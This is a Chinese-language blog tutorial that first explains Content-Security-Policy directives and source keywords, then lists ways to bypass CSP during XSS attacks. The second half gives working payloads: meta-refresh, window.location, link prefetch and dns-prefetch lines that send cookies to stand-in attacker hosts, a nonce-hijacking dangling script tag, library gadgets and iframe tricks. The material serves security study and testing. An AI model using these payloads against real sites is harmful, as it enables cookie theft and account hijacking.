CSP策略及绕过方法

作者: zhazhami | 来源:发表于2017-02-20 21:55 被阅读5561次

    XSS的时候经常要绕过CSP,这里总结一下


    CSP策略

    一个CSP头由多组CSP策略组成,中间由分号分隔,就像这样:

    Content-Security-Policy: default-src 'self' www.baidu.com; script-src 'unsafe-inline'
    

    其中每一组策略包含一个策略指令和一个内容源列表

    一、常用的策略指令:

    • default-src

    default-src 指令定义了那些没有被更精确指令指定的安全策略。这些指令包括:

    • child-src
    • connect-src
    • font-src
    • img-src
    • media-src
    • object-src
    • script-src
    • style-src
    • script-src

    script-src定义了页面中Javascript的有效来源

    • style-src

    style-src定义了页面中CSS样式的有效来源

    • img-src

    img-src定义了页面中图片和图标的有效来源

    • font-src

    font-src定义了字体加载的有效来源

    • connect-src

    connect-src定义了请求、XMLHttpRequest、WebSocket 和 EventSource 的连接来源。

    • child-src

    child-src 指定定义了 web workers 以及嵌套的浏览上下文(如<frame>和<iframe>)的源。

    二、内容源:

    内容源有三种:源列表、关键字和数据

    • 源列表

    源列表是一个字符串,指定了一个或多个互联网主机(通过主机名或 IP 地址),和可选的或端口号。站点地址可以包含可选的通配符前缀 (星号, '*'),端口号也可以使用通配符 (同样是 '*') 来表明所有合法端口都是有效来源。主机通过空格分隔。
    有效的主机表达式包括:
    http://*.foo.com (匹配所有使用 http协议加载 foo.com 任何子域名的尝试。)
    mail.foo.com:443 (匹配所有访问 mail.foo.com 的 443 端口 的尝试。)
    https://store.foo.com (匹配所有使用 https协议访问 store.foo.com 的尝试。)
    如果端口号没有被指定,浏览器会使用指定协议的默认端口号。如果协议没有被指定,浏览器会使用访问该文档时的协议。

    • 关键字
      • 'none'
        代表空集;即不匹配任何 URL。两侧单引号是必须的。
      • 'self'
        代表和文档同源,包括相同的 URL 协议和端口号。两侧单引号是必须的。
      • 'unsafe-inline'
        允许使用内联资源,如内联的<script>元素、javascript: URL、内联的事件处理函数和内联的<style>元素,两侧单引号是必须的。
      • 'unsafe-eval'
        允许使用 eval() 等通过字符串创建代码的方法。两侧单引号是必须的。
    Content-Security-Policy: default-src 'self' trustedscripts.foo.com
    
    • 数据
      • data:
        允许data: URI作为内容来源。
      • mediastream:
        允许mediastream: URI作为内容来源。
    Content-Security-Policy: default-src 'self'; img-src 'self' data:; media-src mediastream:
    

    CSP绕过方式

    CSP的设置可能情况太多,这里只讨论几个比较典型的情况。

    一、url跳转

    在default-src 'none'的情况下,可以使用meta标签实现跳转

    <meta http-equiv="refresh" content="1;url=http://www.xss.com/x.php?c=[cookie]" >
    

    在允许unsafe-inline的情况下,可以用window.location,或者window.open之类的方法进行跳转绕过。

    <script>
      window.location="http://www.xss.com/x.php?c=[cookie]";
    </script>
    

    二、<link>标签预加载

    CSP对link标签的预加载功能考虑不完善。
    在Chrome下,可以使用如下标签发送cookie(最新版Chrome会禁止)

    <link rel="prefetch" href="http://www.xss.com/x.php?c=[cookie]">
    

    在Firefox下,可以将cookie作为子域名,用dns预解析的方式把cookie带出去,查看dns服务器的日志就能得到cookie

    <link rel="dns-prefetch" href="//[cookie].xxx.ceye.io">
    

    三、利用浏览器补全

    有些网站限制只有某些脚本才能使用,往往会使用<script>标签的nonce属性,只有nonce一致的脚本才生效,比如CSP设置成下面这样:

    Content-Security-Policy: default-src 'none';script-src 'nonce-abc'
    

    那么当脚本插入点为如下的情况时

    <p>插入点</p>
    <script id="aa" nonce="abc">document.write('CSP');</script>
    

    可以插入

    <script src=//14.rs a="
    

    这样会拼成一个新的script标签,其中的src可以自由设定

    <p><script src=//14.rs a="</p>
    <script id="aa" nonce="abc">document.write('CSP');</script>
    

    四、代码重用

    Blackhat2017上有篇ppt总结了可以被用来绕过CSP的一些JS库。
    例如假设页面中使用了Jquery-mobile库,并且CSP策略中包含"script-src 'unsafe-eval'"或者"script-src 'strict-dynamic'",那么下面的向量就可以绕过CSP:

    <div data-role=popup id='<script>alert(1)</script>'></div>
    

    在这个PPT之外的还有一些库也可以被利用,例如RCTF2018中遇到的amp库,下面的标签可以获取名字为FLAG的cookie

    <amp-pixel src="http://your domain/?cid=CLIENT_ID(FLAG)"></amp-pixel>  
    

    五、iframe

    1.如果页面A中有CSP限制,但是页面B中没有,同时A和B同源,那么就可以在A页面中包含B页面来绕过CSP:

    <iframe src="B"></iframe>
    

    2.在Chrome下,iframe标签支持csp属性,这有时候可以用来绕过一些防御,例如"http://xxx"页面有个js库会过滤XSS向量,我们就可以使用csp属性来禁掉这个js库。

    <iframe csp="script-src 'unsafe-inline'" src="http://xxx"></iframe>
    

    六、meta标签

    meta标签有一些不常用的功能有时候有奇效:
    meta可以控制缓存(在header没有设置的情况下),有时候可以用来绕过CSP nonce。

    <meta http-equiv="cache-control" content="public">
    

    meta可以设置Cookie(Firefox下),可以结合self-xss利用。

    <meta http-equiv="Set-Cookie" Content="cookievalue=xxx;expires=Wednesday,21-Oct-98 16:14:21 GMT; path=/">
    

    相关文章

      网友评论

        本文标题:CSP策略及绕过方法

        本文链接:https://www.haomeiwen.com/subject/kbkewttx.html